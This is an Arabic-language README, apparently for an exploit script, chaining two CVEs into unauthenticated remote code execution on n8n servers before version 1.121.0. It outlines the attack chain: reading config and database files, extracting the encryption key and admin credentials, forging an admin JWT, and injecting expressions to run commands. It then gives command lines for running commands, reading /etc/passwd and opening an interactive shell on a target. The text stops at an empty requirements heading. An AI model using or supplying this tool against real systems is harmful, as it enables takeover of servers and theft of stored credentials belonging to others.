CVE-2026-21858 + CVE-2025-68613 - استغلال RCE في n8n

سلسلة استغلال RCE غير مصادق عليها لـ n8n < 1.121.0 (CVSS 10.0)

سلسلة الهجوم

1. CVE-2026-21858 - خلط نوع المحتوى → قراءة /home/node/.n8n/config وdatabase.sqlite
2. استخراج مفتاح التشفير وبيانات اعتماد المسؤول من الملفات
3. تزوير رمز JWT للمسؤول
4. CVE-2025-68613 - حقن التعبيرات → تنفيذ الأوامر عبر child_process

الاستخدام

# تنفيذ أمر
python3 exploit.py http://target:5678 /form/test --cmd "id"

# قراءة ملف
python3 exploit.py http://target:5678 /form/test --read /etc/passwd

# قشرة تفاعلية
python3 exploit.py http://target:5678 /form/test

المتطلبات